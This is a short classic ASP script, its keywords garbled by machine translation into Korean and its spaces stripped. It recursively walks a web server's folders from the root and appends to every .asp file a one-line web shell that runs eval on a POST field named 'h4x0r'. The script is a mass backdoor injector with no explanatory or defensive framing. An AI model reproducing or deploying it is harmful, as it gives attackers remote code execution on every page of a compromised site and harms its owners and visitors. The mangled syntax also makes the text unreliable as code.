<%
디프
DimintFile
Server.ScriptTimeout = 600
ph = server.mappath ( "/")
subinsertallfiles (경로)
setfso = createobject ( "Scripting.FilesyStemObject")
onerrorresumenext
setf = fso.getfolder (경로)
setfc2 = f.files
foreachmyfileinfc2
iflcase (fso.getextensionName (path & ""& myfile.name) = "asp"
setfs1 = createobject ( "scripting.filesystemobject")
settfile = fs1.opentextfile (path & ""& myfile.name, 8, false)
tfile.writeLine "<scriptrunat = serverLanguage = javaScript> eval (request.form ( 'h4x0r')+'') </script>"
또 다른
insertAllFiles (NewPath)
endif
tfile.close
다음
setfsubfolers = f.subfolders
foreachf1infsubfolers
NewPath = Path & ""& f1.name
insertAllFiles (NewPath)
다음
정착 = 아무것도
setfso = 아무것도
Endsub
%>
<%
CallInsertAllFiles (ph)
%>